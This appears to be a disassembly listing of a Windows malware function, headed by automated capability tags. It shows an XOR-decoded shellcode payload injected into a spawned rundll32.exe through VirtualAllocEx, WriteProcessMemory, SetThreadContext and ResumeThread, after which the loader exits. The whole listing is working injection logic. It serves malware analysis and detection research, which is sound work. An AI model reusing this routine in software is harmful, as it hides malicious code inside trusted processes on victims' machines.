Function at 0x180004ac0
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5d8
mov rax, qword [0x180034040]
xor rax, rsp
mov qword [rsp + 0x5d0], rax
cmp edx, 1
jne 0x180004f17
call fcn.180004f40
mov ecx, 0x115
call fcn.18001201c
mov rbx, rax
xor eax, eax
lea rcx, [0x18002b2b0]
nop dword [rax]
movzx edx, byte [rcx + rax*8]
movzx r8d, byte [rcx + rax*8 + 2]
mov byte [rbx + rax*4], dl
mov byte [rbx + rax*4 + 1], r8b
movzx edx, byte [rcx + rax*8 + 4]
mov byte [rbx + rax*4 + 2], dl
movzx edx, byte [rcx + rax*8 + 6]
mov byte [rbx + rax*4 + 3], dl
inc rax
cmp rax, 0x45
jne 0x180004b10
mov byte [rbx + rax*4], 0
mov eax, 7
mov r9d, 6
mov r10d, 5
mov r11d, 4
mov r12d, 3
mov ecx, 2
mov r8d, 1
xor r14d, r14d
mov qword [rsp + 0x68], rbx
nop word cs:[rax + rax]
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
movabs rsi, 0x2492492492492493
mul rsi
mov r13, qword [rsp + 0x58]
sub r13, rdx
shr r13, 1
add r13, rdx
shr r13, 2
lea rax, [r13*8]
sub r13, rax
mov rax, r9
mul rsi
mov rbp, qword [rsp + 0x60]
sub rbp, rdx
shr rbp, 1
add rbp, rdx
shr rbp, 2
lea rax, [rbp*8]
sub rbp, rax
mov rax, r10
mul rsi
mov r9, r10
sub r9, rdx
shr r9, 1
add r9, rdx
shr r9, 2
lea r10, [r9*8]
mov rax, r11
mul rsi
sub r9, r10
mov r10, r11
sub r10, rdx
shr r10, 1
add r10, rdx
shr r10, 2
lea rax, [r10*8]
sub r10, rax
mov rax, r12
mul rsi
mov r11, r12
sub r11, rdx
shr r11, 1
add r11, rdx
shr r11, 2
lea rax, [r11*8]
sub r11, rax
mov rax, rcx
mul rsi
mov rdi, rcx
sub rdi, rdx
shr rdi, 1
add rdi, rdx
shr rdi, 2
lea rax, [rdi*8]
sub rdi, rax
mov rax, r8
mul rsi
mov rbx, r8
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 2
lea r15, [rbx*8]
mov rax, r14
mul rsi
sub rbx, r15
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
lea rdx, [rax*8]
sub rax, rdx
lea rsi, str.2024812
add r9, rsi
add r10, rsi
movzx edx, byte [r14 + r10 + 4]
mov r10, qword [rsp + 0x78]
movzx r9d, byte [r14 + r9 + 5]
shl r9d, 8
or r9d, edx
add rbx, rsi
add rax, rsi
movzx eax, byte [r14 + rax]
movzx edx, byte [r14 + rbx + 1]
mov rbx, qword [rsp + 0x68]
shl edx, 8
or edx, eax
add rdi, rsi
movzx eax, byte [r14 + rdi + 2]
shl eax, 0x10
or eax, edx
add r11, rsi
movzx edx, byte [r14 + r11 + 3]
mov r11, qword [rsp + 0x70]
shl edx, 0x18
or edx, eax
movd xmm0, edx
pinsrw xmm0, r9d, 2
add r13, rsi
add rbp, rsi
movzx eax, byte [r14 + rbp + 6]
mov r9, qword [rsp + 0x60]
movzx edx, byte [r14 + r13 + 7]
shl edx, 8
or edx, eax
mov rax, qword [rsp + 0x58]
pinsrw xmm0, edx, 3
movq xmm1, qword [rbx + r14]
pxor xmm0, xmm1
movq qword [rbx + r14], xmm0
add rax, 8
add r14, 8
add r9, 8
add r10, 8
add r11, 8
add r12, 8
add rcx, 8
add r8, 8
cmp r14, 0x110
jne 0x180004b80
xor dword [rbx + 0x110], 0x32303232
xor byte [rbx + 0x114], 0x34
mov edx, 0x115
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, rbx
call fcn.180006a90
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmmword [rsp + 0xc0], xmm0
movdqa xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0x80], 0x44
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
lea rdx, str.rundll32.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180004f06
mov dword [rsp + 0x130], 0x10003
mov rcx, qword [rsp + 0xf0]
lea rsi, [rsp + 0x100]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0xe8]
mov dword [rsp + 0x20], 0x40
mov r8d, 0x115
xor edx, edx
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x20], 0
mov r9d, 0x115
mov rdx, rax
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x1f8], rbx
mov rcx, qword [rsp + 0xf0]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xf0]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rsp + 0xe8]
call rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x5d0]
xor rcx, rsp
call fcn.1800166e0
mov eax, 1
add rsp, 0x5d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret